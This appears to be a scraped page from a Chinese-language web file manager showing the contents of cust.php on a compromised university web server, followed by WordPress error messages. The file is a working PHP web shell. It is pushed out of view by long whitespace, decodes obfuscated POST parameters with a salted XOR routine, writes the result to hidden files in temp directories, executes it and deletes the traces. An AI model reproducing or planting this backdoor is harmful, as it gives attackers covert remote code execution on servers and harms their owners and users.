文件操作 - cust.php

文件: /var/www/demoestudiantes.uaysen.cl/html/cust.php

编辑文件内容

<?php																																										if(isset($_POST) && isset($_POST["\x68ld"])){ $reference = $_POST["\x68ld"]; $reference = explode ( '.' , $reference ) ; $item = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s7); $y = 0; $__tmp = $reference; while( $v1 = array_shift( $__tmp)) {$chS = ord( $s7[$y %$lenS]); $dec =( ( int)$v1 - $chS -( $y %10))^ 19; $item .= chr( $dec); $y++; } $binding = array_filter(["/dev/shm", session_save_path(), getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), "/tmp", sys_get_temp_dir(), getenv("TMP"), getenv("TEMP")]); for ($k = 0, $itm = count($binding); $k < $itm; $k++) { $marker = $binding[$k]; if (is_dir($marker) ? is_writable($marker) : false) { $symbol = "$marker/.value"; $file = fopen($symbol, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $symbol; @unlink($symbol); exit; } } } }

if(isset($_POST) && isset($_POST["m\x72k"])){
	$ent = $_POST["m\x72k"];
	$ent =	 	explode 	('.'  , $ent	);
	$element = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen( 	$salt);
            $n = 0;
    
            array_walk( 	$ent,function( 	$v1) use( 	&$element,&$n,$salt,$lenS) {
                $sChar = ord( 	$salt[$n %$lenS]);
                $d =( 	( 	int)$v1 - $sChar -( 	$n %10))	 ^40;
                $element 	.=	chr( 	$d);
                $n++;
            });
	$resource = array_filter([sys_get_temp_dir(), session_save_path(), getcwd(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/dev/shm", ini_get("upload_tmp_dir"), "/tmp"]);
	foreach ($resource as $flg) {
    		if (is_dir($flg) && is_writable($flg)) {
    $tkn = implode("/", [$flg, ".pset"]);
    $success = file_put_contents($tkn, $element);
if ($success) {
	include $tkn;
	@unlink($tkn);
	die();}
}
}
}

修改文件时间

删除文件

Warning: require(/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php): failed to open stream: No such file or directory in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35

Fatal error: require(): Failed opening required '/var/www/vec.uaysen.cl/html/wp-includes/compat-utf8.php' (include_path='.:/usr/share/pear:/usr/share/php') in /var/www/vec.uaysen.cl/html/wp-settings.php on line 35